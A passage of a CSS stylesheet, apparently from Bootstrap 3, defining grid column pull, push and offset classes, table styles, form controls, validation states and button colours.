  .col-md-1 {
    width:8.33333333%
  }
  .col-md-pull-12 {
    right:100%
  }
  .col-md-pull-11 {
    right:91.66666667%
  }
  .col-md-pull-10 {
    right:83.33333333%
  }
  .col-md-pull-9 {
    right:75%
  }
  .col-md-pull-8 {
    right:66.66666667%
  }
  .col-md-pull-7 {
    right:58.33333333%
  }
  .col-md-pull-6 {
    right:50%
  }
  .col-md-pull-5 {
    right:41.66666667%
  }
  .col-md-pull-4 {
    right:33.33333333%
  }
  .col-md-pull-3 {
    right:25%
  }
  .col-md-pull-2 {
    right:16.66666667%
  }
  .col-md-pull-1 {
    right:8.33333333%
  }
  .col-md-pull-0 {
    right:auto
  }
  .col-md-push-12 {
    left:100%
  }
  .col-md-push-11 {
    left:91.66666667%
  }
  .col-md-push-10 {
    left:83.33333333%
  }
  .col-md-push-9 {
    left:75%
  }
  .col-md-push-8 {
    left:66.66666667%
  }
  .col-md-push-7 {
    left:58.33333333%
  }
  .col-md-push-6 {
    left:50%
  }
  .col-md-push-5 {
    left:41.66666667%
  }
  .col-md-push-4 {
    left:33.33333333%
  }
  .col-md-push-3 {
    left:25%
  }
  .col-md-push-2 {
    left:16.66666667%
  }
  .col-md-push-1 {
    left:8.33333333%
  }
  .col-md-push-0 {
    left:auto
  }
  .col-md-offset-12 {
    margin-left:100%
  }
  .col-md-offset-11 {
    margin-left:91.66666667%
  }
  .col-md-offset-10 {
    margin-left:83.33333333%
  }
  .col-md-offset-9 {
    margin-left:75%
  }
  .col-md-offset-8 {
    margin-left:66.66666667%
  }
  .col-md-offset-7 {
    margin-left:58.33333333%
  }
  .col-md-offset-6 {
    margin-left:50%
  }
  .col-md-offset-5 {
    margin-left:41.66666667%
  }
  .col-md-offset-4 {
    margin-left:33.33333333%
  }
  .col-md-offset-3 {
    margin-left:25%
  }
  .col-md-offset-2 {
    margin-left:16.66666667%
  }
  .col-md-offset-1 {
    margin-left:8.33333333%
  }
  .col-md-offset-0 {
    margin-left:0%
  }
}
@media (min-width: 1200px) {
  .col-lg-1,
  .col-lg-2,
  .col-lg-3,
  .col-lg-4,
  .col-lg-5,
  .col-lg-6,
  .col-lg-7,
  .col-lg-8,
  .col-lg-9,
  .col-lg-10,
  .col-lg-11,
  .col-lg-12 {
    float:left
  }
  .col-lg-12 {
    width:100%
  }
  .col-lg-11 {
    width:91.66666667%
  }
  .col-lg-10 {
    width:83.33333333%
  }
  .col-lg-9 {
    width:75%
  }
  .col-lg-8 {
    width:66.66666667%
  }
  .col-lg-7 {
    width:58.33333333%
  }
  .col-lg-6 {
    width:50%
  }
  .col-lg-5 {
    width:41.66666667%
  }
  .col-lg-4 {
    width:33.33333333%
  }
  .col-lg-3 {
    width:25%
  }
  .col-lg-2 {
    width:16.66666667%
  }
  .col-lg-1 {
    width:8.33333333%
  }
  .col-lg-pull-12 {
    right:100%
  }
  .col-lg-pull-11 {
    right:91.66666667%
  }
  .col-lg-pull-10 {
    right:83.33333333%
  }
  .col-lg-pull-9 {
    right:75%
  }
  .col-lg-pull-8 {
    right:66.66666667%
  }
  .col-lg-pull-7 {
    right:58.33333333%
  }
  .col-lg-pull-6 {
    right:50%
  }
  .col-lg-pull-5 {
    right:41.66666667%
  }
  .col-lg-pull-4 {
    right:33.33333333%
  }
  .col-lg-pull-3 {
    right:25%
  }
  .col-lg-pull-2 {
    right:16.66666667%
  }
  .col-lg-pull-1 {
    right:8.33333333%
  }
  .col-lg-pull-0 {
    right:auto
  }
  .col-lg-push-12 {
    left:100%
  }
  .col-lg-push-11 {
    left:91.66666667%
  }
  .col-lg-push-10 {
    left:83.33333333%
  }
  .col-lg-push-9 {
    left:75%
  }
  .col-lg-push-8 {
    left:66.66666667%
  }
  .col-lg-push-7 {
    left:58.33333333%
  }
  .col-lg-push-6 {
    left:50%
  }
  .col-lg-push-5 {
    left:41.66666667%
  }
  .col-lg-push-4 {
    left:33.33333333%
  }
  .col-lg-push-3 {
    left:25%
  }
  .col-lg-push-2 {
    left:16.66666667%
  }
  .col-lg-push-1 {
    left:8.33333333%
  }
  .col-lg-push-0 {
    left:auto
  }
  .col-lg-offset-12 {
    margin-left:100%
  }
  .col-lg-offset-11 {
    margin-left:91.66666667%
  }
  .col-lg-offset-10 {
    margin-left:83.33333333%
  }
  .col-lg-offset-9 {
    margin-left:75%
  }
  .col-lg-offset-8 {
    margin-left:66.66666667%
  }
  .col-lg-offset-7 {
    margin-left:58.33333333%
  }
  .col-lg-offset-6 {
    margin-left:50%
  }
  .col-lg-offset-5 {
    margin-left:41.66666667%
  }
  .col-lg-offset-4 {
    margin-left:33.33333333%
  }
  .col-lg-offset-3 {
    margin-left:25%
  }
  .col-lg-offset-2 {
    margin-left:16.66666667%
  }
  .col-lg-offset-1 {
    margin-left:8.33333333%
  }
  .col-lg-offset-0 {
    margin-left:0%
  }
}
table {
  background-color:transparent
}
table col[class*=col-] {
  position:static;
  display:table-column;
  float:none
}
table td[class*=col-],
table th[class*=col-] {
  position:static;
  display:table-cell;
  float:none
}
caption {
  padding-top:8px;
  padding-bottom:8px;
  color:#777;
  text-align:left
}
th {
  text-align:left
}
.table {
  width:100%;
  max-width:100%;
  margin-bottom:20px
}
.table>thead>tr>th,
.table>tbody>tr>th,
.table>tfoot>tr>th,
.table>thead>tr>td,
.table>tbody>tr>td,
.table>tfoot>tr>td {
  padding:8px;
  line-height:1.42857143;
  vertical-align:top;
  border-top:1px solid #ddd
}
.table>thead>tr>th {
  vertical-align:bottom;
  border-bottom:2px solid #ddd
}
.table>caption+thead>tr:first-child>th,
.table>colgroup+thead>tr:first-child>th,
.table>thead:first-child>tr:first-child>th,
.table>caption+thead>tr:first-child>td,
.table>colgroup+thead>tr:first-child>td,
.table>thead:first-child>tr:first-child>td {
  border-top:0
}
.table>tbody+tbody {
  border-top:2px solid #ddd
}
.table .table {
  background-color:#fff
}
.table-condensed>thead>tr>th,
.table-condensed>tbody>tr>th,
.table-condensed>tfoot>tr>th,
.table-condensed>thead>tr>td,
.table-condensed>tbody>tr>td,
.table-condensed>tfoot>tr>td {
  padding:5px
}
.table-bordered {
  border:1px solid #ddd
}
.table-bordered>thead>tr>th,
.table-bordered>tbody>tr>th,
.table-bordered>tfoot>tr>th,
.table-bordered>thead>tr>td,
.table-bordered>tbody>tr>td,
.table-bordered>tfoot>tr>td {
  border:1px solid #ddd
}
.table-bordered>thead>tr>th,
.table-bordered>thead>tr>td {
  border-bottom-width:2px
}
.table-striped>tbody>tr:nth-of-type(odd) {
  background-color:#f9f9f9
}
.table-hover>tbody>tr:hover {
  background-color:#f5f5f5
}
.table>thead>tr>td.active,
.table>tbody>tr>td.active,
.table>tfoot>tr>td.active,
.table>thead>tr>th.active,
.table>tbody>tr>th.active,
.table>tfoot>tr>th.active,
.table>thead>tr.active>td,
.table>tbody>tr.active>td,
.table>tfoot>tr.active>td,
.table>thead>tr.active>th,
.table>tbody>tr.active>th,
.table>tfoot>tr.active>th {
  background-color:#f5f5f5
}
.table-hover>tbody>tr>td.active:hover,
.table-hover>tbody>tr>th.active:hover,
.table-hover>tbody>tr.active:hover>td,
.table-hover>tbody>tr:hover>.active,
.table-hover>tbody>tr.active:hover>th {
  background-color:#e8e8e8
}
.table>thead>tr>td.success,
.table>tbody>tr>td.success,
.table>tfoot>tr>td.success,
.table>thead>tr>th.success,
.table>tbody>tr>th.success,
.table>tfoot>tr>th.success,
.table>thead>tr.success>td,
.table>tbody>tr.success>td,
.table>tfoot>tr.success>td,
.table>thead>tr.success>th,
.table>tbody>tr.success>th,
.table>tfoot>tr.success>th {
  background-color:#dff0d8
}
.table-hover>tbody>tr>td.success:hover,
.table-hover>tbody>tr>th.success:hover,
.table-hover>tbody>tr.success:hover>td,
.table-hover>tbody>tr:hover>.success,
.table-hover>tbody>tr.success:hover>th {
  background-color:#d0e9c6
}
.table>thead>tr>td.info,
.table>tbody>tr>td.info,
.table>tfoot>tr>td.info,
.table>thead>tr>th.info,
.table>tbody>tr>th.info,
.table>tfoot>tr>th.info,
.table>thead>tr.info>td,
.table>tbody>tr.info>td,
.table>tfoot>tr.info>td,
.table>thead>tr.info>th,
.table>tbody>tr.info>th,
.table>tfoot>tr.info>th {
  background-color:#d9edf7
}
.table-hover>tbody>tr>td.info:hover,
.table-hover>tbody>tr>th.info:hover,
.table-hover>tbody>tr.info:hover>td,
.table-hover>tbody>tr:hover>.info,
.table-hover>tbody>tr.info:hover>th {
  background-color:#c4e3f3
}
.table>thead>tr>td.warning,
.table>tbody>tr>td.warning,
.table>tfoot>tr>td.warning,
.table>thead>tr>th.warning,
.table>tbody>tr>th.warning,
.table>tfoot>tr>th.warning,
.table>thead>tr.warning>td,
.table>tbody>tr.warning>td,
.table>tfoot>tr.warning>td,
.table>thead>tr.warning>th,
.table>tbody>tr.warning>th,
.table>tfoot>tr.warning>th {
  background-color:#fcf8e3
}
.table-hover>tbody>tr>td.warning:hover,
.table-hover>tbody>tr>th.warning:hover,
.table-hover>tbody>tr.warning:hover>td,
.table-hover>tbody>tr:hover>.warning,
.table-hover>tbody>tr.warning:hover>th {
  background-color:#faf2cc
}
.table>thead>tr>td.danger,
.table>tbody>tr>td.danger,
.table>tfoot>tr>td.danger,
.table>thead>tr>th.danger,
.table>tbody>tr>th.danger,
.table>tfoot>tr>th.danger,
.table>thead>tr.danger>td,
.table>tbody>tr.danger>td,
.table>tfoot>tr.danger>td,
.table>thead>tr.danger>th,
.table>tbody>tr.danger>th,
.table>tfoot>tr.danger>th {
  background-color:#f2dede
}
.table-hover>tbody>tr>td.danger:hover,
.table-hover>tbody>tr>th.danger:hover,
.table-hover>tbody>tr.danger:hover>td,
.table-hover>tbody>tr:hover>.danger,
.table-hover>tbody>tr.danger:hover>th {
  background-color:#ebcccc
}
.table-responsive {
  min-height:.01%;
  overflow-x:auto
}
@media screen and (max-width: 767px) {
  .table-responsive {
    width:100%;
    margin-bottom:15px;
    overflow-y:hidden;
    -ms-overflow-style:-ms-autohiding-scrollbar;
    border:1px solid #ddd
  }
  .table-responsive>.table {
    margin-bottom:0
  }
  .table-responsive>.table>thead>tr>th,
  .table-responsive>.table>tbody>tr>th,
  .table-responsive>.table>tfoot>tr>th,
  .table-responsive>.table>thead>tr>td,
  .table-responsive>.table>tbody>tr>td,
  .table-responsive>.table>tfoot>tr>td {
    white-space:nowrap
  }
  .table-responsive>.table-bordered {
    border:0
  }
  .table-responsive>.table-bordered>thead>tr>th:first-child,
  .table-responsive>.table-bordered>tbody>tr>th:first-child,
  .table-responsive>.table-bordered>tfoot>tr>th:first-child,
  .table-responsive>.table-bordered>thead>tr>td:first-child,
  .table-responsive>.table-bordered>tbody>tr>td:first-child,
  .table-responsive>.table-bordered>tfoot>tr>td:first-child {
    border-left:0
  }
  .table-responsive>.table-bordered>thead>tr>th:last-child,
  .table-responsive>.table-bordered>tbody>tr>th:last-child,
  .table-responsive>.table-bordered>tfoot>tr>th:last-child,
  .table-responsive>.table-bordered>thead>tr>td:last-child,
  .table-responsive>.table-bordered>tbody>tr>td:last-child,
  .table-responsive>.table-bordered>tfoot>tr>td:last-child {
    border-right:0
  }
  .table-responsive>.table-bordered>tbody>tr:last-child>th,
  .table-responsive>.table-bordered>tfoot>tr:last-child>th,
  .table-responsive>.table-bordered>tbody>tr:last-child>td,
  .table-responsive>.table-bordered>tfoot>tr:last-child>td {
    border-bottom:0
  }
}
fieldset {
  min-width:0;
  padding:0;
  margin:0;
  border:0
}
legend {
  display:block;
  width:100%;
  padding:0;
  margin-bottom:20px;
  font-size:21px;
  line-height:inherit;
  color:#333;
  border:0;
  border-bottom:1px solid #e5e5e5
}
label {
  display:inline-block;
  max-width:100%;
  margin-bottom:5px;
  font-weight:700
}
input[type=search] {
  -webkit-box-sizing:border-box;
  -moz-box-sizing:border-box;
  box-sizing:border-box;
  -webkit-appearance:none;
  -moz-appearance:none;
  appearance:none
}
input[type=radio],
input[type=checkbox] {
  margin:4px 0 0;
  margin-top:1px \	;
  line-height:normal
}
input[type=radio][disabled],
input[type=checkbox][disabled],
input[type=radio].disabled,
input[type=checkbox].disabled,
fieldset[disabled] input[type=radio],
fieldset[disabled] input[type=checkbox] {
  cursor:not-allowed
}
input[type=file] {
  display:block
}
input[type=range] {
  display:block;
  width:100%
}
select[multiple],
select[size] {
  height:auto
}
input[type=file]:focus,
input[type=radio]:focus,
input[type=checkbox]:focus {
  outline:5px auto -webkit-focus-ring-color;
  outline-offset:-2px
}
output {
  display:block;
  padding-top:7px;
  font-size:14px;
  line-height:1.42857143;
  color:#555
}
.form-control {
  display:block;
  width:100%;
  height:34px;
  padding:6px 12px;
  font-size:14px;
  line-height:1.42857143;
  color:#555;
  background-color:#fff;
  background-image:none;
  border:1px solid #ccc;
  border-radius:4px;
  -webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);
  box-shadow:inset 0 1px 1px #00000013;
  -webkit-transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s;
  -o-transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s;
  transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s
}
.form-control:focus {
  border-color:#66afe9;
  outline:0;
  -webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,.6);
  box-shadow:inset 0 1px 1px #00000013,0 0 8px #66afe999
}
.form-control::-moz-placeholder {
  color:#999;
  opacity:1
}
.form-control:-ms-input-placeholder {
  color:#999
}
.form-control::-webkit-input-placeholder {
  color:#999
}
.form-control::-ms-expand {
  background-color:transparent;
  border:0
}
.form-control[disabled],
.form-control[readonly],
fieldset[disabled] .form-control {
  background-color:#eee;
  opacity:1
}
.form-control[disabled],
fieldset[disabled] .form-control {
  cursor:not-allowed
}
textarea.form-control {
  height:auto
}
@media screen and (-webkit-min-device-pixel-ratio: 0) {
  input[type=date].form-control,
  input[type=time].form-control,
  input[type=datetime-local].form-control,
  input[type=month].form-control {
    line-height:34px
  }
  input[type=date].input-sm,
  input[type=time].input-sm,
  input[type=datetime-local].input-sm,
  input[type=month].input-sm,
  .input-group-sm input[type=date],
  .input-group-sm input[type=time],
  .input-group-sm input[type=datetime-local],
  .input-group-sm input[type=month] {
    line-height:30px
  }
  input[type=date].input-lg,
  input[type=time].input-lg,
  input[type=datetime-local].input-lg,
  input[type=month].input-lg,
  .input-group-lg input[type=date],
  .input-group-lg input[type=time],
  .input-group-lg input[type=datetime-local],
  .input-group-lg input[type=month] {
    line-height:46px
  }
}
.form-group {
  margin-bottom:15px
}
.radio,
.checkbox {
  position:relative;
  display:block;
  margin-top:10px;
  margin-bottom:10px
}
.radio.disabled label,
.checkbox.disabled label,
fieldset[disabled] .radio label,
fieldset[disabled] .checkbox label {
  cursor:not-allowed
}
.radio label,
.checkbox label {
  min-height:20px;
  padding-left:20px;
  margin-bottom:0;
  font-weight:400;
  cursor:pointer
}
.radio input[type=radio],
.radio-inline input[type=radio],
.checkbox input[type=checkbox],
.checkbox-inline input[type=checkbox] {
  position:absolute;
  margin-top:4px \	;
  margin-left:-20px
}
.radio+.radio,
.checkbox+.checkbox {
  margin-top:-5px
}
.radio-inline,
.checkbox-inline {
  position:relative;
  display:inline-block;
  padding-left:20px;
  margin-bottom:0;
  font-weight:400;
  vertical-align:middle;
  cursor:pointer
}
.radio-inline.disabled,
.checkbox-inline.disabled,
fieldset[disabled] .radio-inline,
fieldset[disabled] .checkbox-inline {
  cursor:not-allowed
}
.radio-inline+.radio-inline,
.checkbox-inline+.checkbox-inline {
  margin-top:0;
  margin-left:10px
}
.form-control-static {
  min-height:34px;
  padding-top:7px;
  padding-bottom:7px;
  margin-bottom:0
}
.form-control-static.input-lg,
.form-control-static.input-sm {
  padding-right:0;
  padding-left:0
}
.input-sm {
  height:30px;
  padding:5px 10px;
  font-size:12px;
  line-height:1.5;
  border-radius:3px
}
select.input-sm {
  height:30px;
  line-height:30px
}
textarea.input-sm,
select[multiple].input-sm {
  height:auto
}
.form-group-sm .form-control {
  height:30px;
  padding:5px 10px;
  font-size:12px;
  line-height:1.5;
  border-radius:3px
}
.form-group-sm select.form-control {
  height:30px;
  line-height:30px
}
.form-group-sm textarea.form-control,
.form-group-sm select[multiple].form-control {
  height:auto
}
.form-group-sm .form-control-static {
  height:30px;
  min-height:32px;
  padding:6px 10px;
  font-size:12px;
  line-height:1.5
}
.input-lg {
  height:46px;
  padding:10px 16px;
  font-size:18px;
  line-height:1.3333333;
  border-radius:6px
}
select.input-lg {
  height:46px;
  line-height:46px
}
textarea.input-lg,
select[multiple].input-lg {
  height:auto
}
.form-group-lg .form-control {
  height:46px;
  padding:10px 16px;
  font-size:18px;
  line-height:1.3333333;
  border-radius:6px
}
.form-group-lg select.form-control {
  height:46px;
  line-height:46px
}
.form-group-lg textarea.form-control,
.form-group-lg select[multiple].form-control {
  height:auto
}
.form-group-lg .form-control-static {
  height:46px;
  min-height:38px;
  padding:11px 16px;
  font-size:18px;
  line-height:1.3333333
}
.has-feedback {
  position:relative
}
.has-feedback .form-control {
  padding-right:42.5px
}
.form-control-feedback {
  position:absolute;
  top:0;
  right:0;
  z-index:2;
  display:block;
  width:34px;
  height:34px;
  line-height:34px;
  text-align:center;
  pointer-events:none
}
.input-lg+.form-control-feedback,
.input-group-lg+.form-control-feedback,
.form-group-lg .form-control+.form-control-feedback {
  width:46px;
  height:46px;
  line-height:46px
}
.input-sm+.form-control-feedback,
.input-group-sm+.form-control-feedback,
.form-group-sm .form-control+.form-control-feedback {
  width:30px;
  height:30px;
  line-height:30px
}
.has-success .help-block,
.has-success .control-label,
.has-success .radio,
.has-success .checkbox,
.has-success .radio-inline,
.has-success .checkbox-inline,
.has-success.radio label,
.has-success.checkbox label,
.has-success.radio-inline label,
.has-success.checkbox-inline label {
  color:#3c763d
}
.has-success .form-control {
  border-color:#3c763d;
  -webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);
  box-shadow:inset 0 1px 1px #00000013
}
.has-success .form-control:focus {
  border-color:#2b542c;
  -webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #67b168;
  box-shadow:inset 0 1px 1px #00000013,0 0 6px #67b168
}
.has-success .input-group-addon {
  color:#3c763d;
  background-color:#dff0d8;
  border-color:#3c763d
}
.has-success .form-control-feedback {
  color:#3c763d
}
.has-warning .help-block,
.has-warning .control-label,
.has-warning .radio,
.has-warning .checkbox,
.has-warning .radio-inline,
.has-warning .checkbox-inline,
.has-warning.radio label,
.has-warning.checkbox label,
.has-warning.radio-inline label,
.has-warning.checkbox-inline label {
  color:#8a6d3b
}
.has-warning .form-control {
  border-color:#8a6d3b;
  -webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);
  box-shadow:inset 0 1px 1px #00000013
}
.has-warning .form-control:focus {
  border-color:#66512c;
  -webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #c0a16b;
  box-shadow:inset 0 1px 1px #00000013,0 0 6px #c0a16b
}
.has-warning .input-group-addon {
  color:#8a6d3b;
  background-color:#fcf8e3;
  border-color:#8a6d3b
}
.has-warning .form-control-feedback {
  color:#8a6d3b
}
.has-error .help-block,
.has-error .control-label,
.has-error .radio,
.has-error .checkbox,
.has-error .radio-inline,
.has-error .checkbox-inline,
.has-error.radio label,
.has-error.checkbox label,
.has-error.radio-inline label,
.has-error.checkbox-inline label {
  color:#a94442
}
.has-error .form-control {
  border-color:#a94442;
  -webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);
  box-shadow:inset 0 1px 1px #00000013
}
.has-error .form-control:focus {
  border-color:#843534;
  -webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #ce8483;
  box-shadow:inset 0 1px 1px #00000013,0 0 6px #ce8483
}
.has-error .input-group-addon {
  color:#a94442;
  background-color:#f2dede;
  border-color:#a94442
}
.has-error .form-control-feedback {
  color:#a94442
}
.has-feedback label~.form-control-feedback {
  top:25px
}
.has-feedback label.sr-only~.form-control-feedback {
  top:0
}
.help-block {
  display:block;
  margin-top:5px;
  margin-bottom:10px;
  color:#737373
}
@media (min-width: 768px) {
  .form-inline .form-group {
    display:inline-block;
    margin-bottom:0;
    vertical-align:middle
  }
  .form-inline .form-control {
    display:inline-block;
    width:auto;
    vertical-align:middle
  }
  .form-inline .form-control-static {
    display:inline-block
  }
  .form-inline .input-group {
    display:inline-table;
    vertical-align:middle
  }
  .form-inline .input-group .input-group-addon,
  .form-inline .input-group .input-group-btn,
  .form-inline .input-group .form-control {
    width:auto
  }
  .form-inline .input-group>.form-control {
    width:100%
  }
  .form-inline .control-label {
    margin-bottom:0;
    vertical-align:middle
  }
  .form-inline .radio,
  .form-inline .checkbox {
    display:inline-block;
    margin-top:0;
    margin-bottom:0;
    vertical-align:middle
  }
  .form-inline .radio label,
  .form-inline .checkbox label {
    padding-left:0
  }
  .form-inline .radio input[type=radio],
  .form-inline .checkbox input[type=checkbox] {
    position:relative;
    margin-left:0
  }
  .form-inline .has-feedback .form-control-feedback {
    top:0
  }
}
.form-horizontal .radio,
.form-horizontal .checkbox,
.form-horizontal .radio-inline,
.form-horizontal .checkbox-inline {
  padding-top:7px;
  margin-top:0;
  margin-bottom:0
}
.form-horizontal .radio,
.form-horizontal .checkbox {
  min-height:27px
}
.form-horizontal .form-group {
  margin-right:-15px;
  margin-left:-15px
}
@media (min-width: 768px) {
  .form-horizontal .control-label {
    padding-top:7px;
    margin-bottom:0;
    text-align:right
  }
}
.form-horizontal .has-feedback .form-control-feedback {
  right:15px
}
@media (min-width: 768px) {
  .form-horizontal .form-group-lg .control-label {
    padding-top:11px;
    font-size:18px
  }
}
@media (min-width: 768px) {
  .form-horizontal .form-group-sm .control-label {
    padding-top:6px;
    font-size:12px
  }
}
.btn {
  display:inline-block;
  margin-bottom:0;
  font-weight:400;
  text-align:center;
  white-space:nowrap;
  vertical-align:middle;
  touch-action:manipulation;
  cursor:pointer;
  background-image:none;
  border:1px solid transparent;
  padding:6px 12px;
  font-size:14px;
  line-height:1.42857143;
  border-radius:4px;
  -webkit-user-select:none;
  -moz-user-select:none;
  -ms-user-select:none;
  user-select:none
}
.btn:focus,
.btn:active:focus,
.btn.active:focus,
.btn.focus,
.btn:active.focus,
.btn.active.focus {
  outline:5px auto -webkit-focus-ring-color;
  outline-offset:-2px
}
.btn:hover,
.btn:focus,
.btn.focus {
  color:#333;
  text-decoration:none
}
.btn:active,
.btn.active {
  background-image:none;
  outline:0;
  -webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);
  box-shadow:inset 0 3px 5px #00000020
}
.btn.disabled,
.btn[disabled],
fieldset[disabled] .btn {
  cursor:not-allowed;
  filter:alpha(opacity=65);
  opacity:.65;
  -webkit-box-shadow:none;
  box-shadow:none
}
a.btn.disabled,
fieldset[disabled] a.btn {
  pointer-events:none
}
.btn-default {
  color:#333;
  background-color:#fff;
  border-color:#ccc
}
.btn-default:focus,
.btn-default.focus {
  color:#333;
  background-color:#e6e6e6;
  border-color:#8c8c8c
}
.btn-default:hover {
  color:#333;
  background-color:#e6e6e6;
  border-color:#adadad
}
.btn-default:active,
.btn-default.active,
.open>.dropdown-toggle.btn-default {
  color:#333;
  background-color:#e6e6e6;
  background-image:none;
  border-color:#adadad
}
.btn-default:active:hover,
.btn-default.active:hover,
.open>.dropdown-toggle.btn-default:hover,
.btn-default:active:focus,
.btn-default.active:focus,
.open>.dropdown-toggle.btn-default:focus,
.btn-default:active.focus,
.btn-default.active.focus,
.open>.dropdown-toggle.btn-default.focus {
  color:#333;
  background-color:#d4d4d4;
  border-color:#8c8c8c
}
.btn-default.disabled:hover,
.btn-default[disabled]:hover,
fieldset[disabled] .btn-default:hover,
.btn-default.disabled:focus,
.btn-default[disabled]:focus,
fieldset[disabled] .btn-default:focus,
.btn-default.disabled.focus,
.btn-default[disabled].focus,
fieldset[disabled] .btn-default.focus {
  background-color:#fff;
  border-color:#ccc
}
.btn-default .badge {
  color:#fff;
  background-color:#333
}
.btn-primary {
  color:#fff;
  background-color:#337ab7;
  border-color:#2e6da4
}
.btn-primary:focus,
.btn-primary.focus {
  color:#fff;
  background-color:#286090;
  border-color:#122b40
}
.btn-primary:hover {
  color:#fff;
  background-color:#286090;
  border-color:#204d74
}
.btn-primary:active,
.btn-primary.active,
.open>.dropdown-toggle.btn-primary {
  color:#fff;
  background-color:#286090;
  background-image:none;
  border-color:#204d74
}
.btn-primary:active:hover,
.btn-primary.active:hover,
.open>.dropdown-toggle.btn-primary:hover,
.btn-primary:active:focus,
.btn-primary.active:focus,
.open>.dropdown-toggle.btn-primary:focus,
.btn-primary:active.focus,
.btn-primary.active.focus,
.open>.dropdown-toggle.btn-primary.focus {
  color:#fff;
  background-color:#204d74;
  border-color:#122b40
}
.btn-primary.disabled:hover,
.btn-primary[disabled]:hover,
fieldset[disabled] .btn-primary:hover,
.btn-primary.disabled:focus,
.btn-primary[disabled]:focus,
fieldset[disabled] .btn-primary:focus,
.btn-primary.disabled.focus,
.btn-primary[disabled].focus,
fieldset[disabled] .btn-primary.focus {
  background-color:#337ab7;
  border-color:#2e6da4
}
.btn-primary .badge {
  color:#337ab7;
  background-color:#fff
}
.btn-success {
  color:#fff;
  background-color:#5cb85c;
  border-color:#4cae4c
}
.btn-success:focus,
.btn-success.focus {
  color:#fff;
  background-color:#449d44;
  border-color:#255625
}
.btn-success:hover {
  color:#fff;
  background-color:#449d44;
  border-color:#398439
}
.btn-success:active,
.btn-success.active,
.open>.dropdown-toggle.btn-success {
  color:#fff;
  background-color:#449d44;
  background-image:none;
  border-color:#398439
}
.btn-success:active:hover,
.btn-success.active:hover,
.open>.dropdown-toggle.btn-success:hover,
.btn-success:active:focus,
.btn-success.active:focus,
.open>.dropdown-toggle.btn-success:focus,
.btn-success:active.focus,
.btn-success.active.focus,
.open>.dropdown-toggle.btn-success.focus {
  color:#fff;
  background-color:#398439;
  border-color:#255625
}
.btn-success.disabled:hover,
.btn-success[disabled]:hover,
fieldset[disabled] .btn-success:hover,
.btn-success.disabled:focus,
.btn-success[disabled]:focus,
fieldset[disabled] .btn-success:focus,
.btn-success.disabled.focus,
.btn-success[disabled].focus,
fieldset[disabled] .btn-success.focus {
  background-color:#5cb85c;
  border-color:#4cae4c
}
.btn-success .badge {
  color:#5cb85c;
  background-color:#fff
}
.btn-info {
  color:#fff;
  background-color:#5bc0de;
  border-color:#46b8da
}
.btn-info:focus,
.btn-info.focus {
  color:#fff;
  background-color:#31b0d5;
  border-color:#1b6d85
}
.btn-info:hover {
  color:#fff;
  background-color:#31b0d5;
  border-color:#269abc
}
.btn-info:active,
.btn-info.active,
.open>.dropdown-toggle.btn-info {
  color:#fff;
  background-color:#31b0d5;
  background-image:none;
  border-color:#269abc
}
.btn-info:active:hover,
.btn-info.active:hover,
.open>.dropdown-toggle.btn-info:hover,
.btn-info:active:focus,
.btn-info.active:focus,
.open>.dropdown-toggle.btn-info:focus,
.btn-info:active.focus,
.btn-info.active.focus,
.open>.dropdown-toggle.btn-info.focus {
  color:#fff;
  background-color:#269abc;
  border-color:#1b6d85
}
.btn-info.disabled:hover,
.btn-info[disabled]:hover,
fieldset[disabled] .btn-info:hover,
.btn-info.disabled:focus,
.btn-info[disabled]:focus,
fieldset[disabled] .btn-info:focus,
.btn-info.disabled.focus,
.btn-info[disabled].focus,
fieldset[disabled] .btn-info.focus {
  background-color:#5bc0de;
  border-color:#46b8da
}
.btn-info .badge {
  color:#5bc0de;
  background-color:#fff
}
.btn-warning {
  color:#fff;
  background-color:#f0ad4e;
  border-color:#eea236
}
.btn-warning:focus,
.btn-warning.focus {
  color:#fff;
  background-color:#ec971f;
  border-color:#985f0d
}
.btn-warning:hover {
  color:#fff;
  background-color:#ec971f;
  border-color:#d58512
}
.btn-warning:active,
.btn-warning.active,
.open>.dropdown-toggle.btn-warning {
  color:#fff;
  background-color:#ec971f;
  background-image:none;
  border-color:#d58512
}
.btn-warning:active:hover,
.btn-warning.active:hover,
.open>.dropdown-toggle.btn-warning:hover,
.btn-warning:active:focus,
.btn-warning.active:focus,
.open>.dropdown-toggle.btn-warning:focus,
.btn-warning:active.focus,
.btn-warning.active.focus,
.open>.dropdown-toggle.btn-warning.focus {
  color:#fff;
  background-color:#d58512;
  border-color:#985f0d
}
.btn-warning.disabled:hover,
.btn-warning[disabled]:hover,
fieldset[disabled] .btn-warning:hover,
.btn-warning.disabled:focus,
.btn-warning[disabled]:focus,
fieldset[disabled] .btn-warning:focus,
.btn-warning.disabled.focus,
.btn-warning[disabled].focus,
fieldset[disabled] .btn-warning.focus {
  background-color:#f0ad4e;
  border-color:#eea236
}
.btn-warning .badge {
  color:#f0ad4e;
  background-color:#fff
}
.btn-danger {
  color:#fff;
  background-color:#d9534f;
  border-color:#d43f3a
}
.btn-danger:focus,
.btn-danger.focus {
  color:#fff;
  background-color:#c9302c;
  border-color:#761c19
}
.btn-danger:hover {
  color:#fff;
  background-color:#c9302c;
  border-color:#ac2925
}
.btn-danger:active,
.btn-danger.active,
.open>.dropdown-toggle.btn-danger {
  color:#fff;
  background-color:#c9302c;
  background-image:none;
  border-color:#ac2925
}
.btn-danger:active:hover,
.btn-danger.active:hover,
.open>.dropdown-toggle.btn-danger:hover,
.btn-danger:active:focus,
.btn-danger.active:focus,
.open>.dropdown-toggle.btn-danger:focus,
.btn-danger:active.focus,
.btn-danger.active.focus,
.open>.dropdown-toggle.btn-danger.focus {
  color:#fff;
  background-color:#ac2925;
  border-color:#761c19
}
.btn-danger.disabled:hover,
.btn-danger[disabled]:hover,
fieldset[disabled] .btn-danger:hover,
.btn-danger.disabled:focus,
.btn-danger[disabled]:focus,
fieldset[disabled] .btn-danger:focus,
.btn-danger.disabled.focus,
